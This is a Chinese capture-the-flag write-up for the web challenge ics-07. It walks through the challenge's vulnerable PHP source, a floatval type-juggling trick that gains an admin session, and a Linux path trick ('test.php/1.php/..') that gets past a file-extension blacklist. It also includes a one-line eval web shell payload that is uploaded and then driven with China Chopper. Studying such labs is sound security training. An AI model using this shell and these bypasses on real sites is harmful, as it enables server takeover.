• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

攻防世界-web-ics-07(PHP弱类型、linux目录结构特性绕过文件类型过滤) ...

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

工控云管理系统项目管理页面解析漏洞。

进入题目后,点击进入项目管理页面。

点击view-source查看源码。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>cetc7</title>
  </head>
  <body>
    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != \'index.php\') {
      include(\'flag.php\');
    }else {
      header(\'Location: ?page=flag.php\');
    }

    ?>

    <form action="#" method="get">
      page : <input type="text" name="page" value="">
      id : <input type="text" name="id" value="">
      <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>

    <?php
     if ($_SESSION[\'admin\']) {
       $con = $_POST[\'con\'];
       $file = $_POST[\'file\'];
       $filename = "backup/".$file;

       if(preg_match(\'/.+\.ph(p[3457]?|t|tml)$/i\', $filename)){
          die("Bad file extension");
       }else{
            chdir(\'uploaded\');
           $f = fopen($filename, \'w\');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== \'1\' && substr($_GET[id], -1) === \'9\') {
        include \'config.php\';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id=\'$id\'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION[\'admin\'] = True;
      }
     ?>

  </body>
</html>
View Code

1 代码解析:发现漏洞

下面对代码进行解析。关键代码有3段。

第一段

如果传入的参数page的值不是index.php,则包含flag.php,否则重定向到?page=flag.php。

    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != \'index.php\') {
      include(\'flag.php\');
    }else {
      header(\'Location: ?page=flag.php\');
    }

    ?>

第二段

$_SESSION[\'admin\'] = True的情况下,POST提交con和file两个参数,对$filename进行正则判断,如果判断正确文件会被上传到uploaded/backup目录下。正则匹配这里把一些后缀加入了黑名单

    <?php
     if ($_SESSION[\'admin\']) {
       $con = $_POST[\'con\'];
       $file = $_POST[\'file\'];
       $filename = "backup/".$file;

       if(preg_match(\'/.+\.ph(p[3457]?|t|tml)$/i\', $filename)){
          die("Bad file extension");
       }else{
            chdir(\'uploaded\');
           $f = fopen($filename, \'w\');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

第三段

这一段可以使$_SESSION[\'admin\'] = True;我们来看一下怎么构造。他需要获取一个id参数, 并且id不为1,且最后一位等于9。
这里用到了floatval这个函数,floatval 函数用于获取变量的浮点值,但是floatval在遇到字符时会截断后面的部分,比如-,+,空格等,所以可以构造id=1 9来满足第一个if条件,if条件满足可以使得$result变量为TRUE。成功使$_SESSION[\'admin\'] = True;

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== \'1\' && substr($_GET[id], -1) === \'9\') {
        include \'config.php\';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id=\'$id\'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION[\'admin\'] = True;
      }
     ?>

 

2 构造payload:上传木马

下面考虑如何上传木马文件。这里利用Linux的一个目录结构特性。我们递归的在1.php文件夹中再创建2.php,访问1.php/2.php/..进入的是1.php文件夹

payloa如下

con=<?php @eval($_POST[muma]);?>&file=test.php/1.php/..

注意这里page参数的值不能为flag.php,否则是上传不成功的。

访问/uploaded/backup/目录,发现上传成功。

 

3 菜刀连接:获取flag

上菜刀。

 

参考:https://www.cnblogs.com/HelloCTF/p/13188482.html


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP数组常用函数发布时间:2022-07-10
下一篇:
php单链表实现的代码发布时间:2022-07-10
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap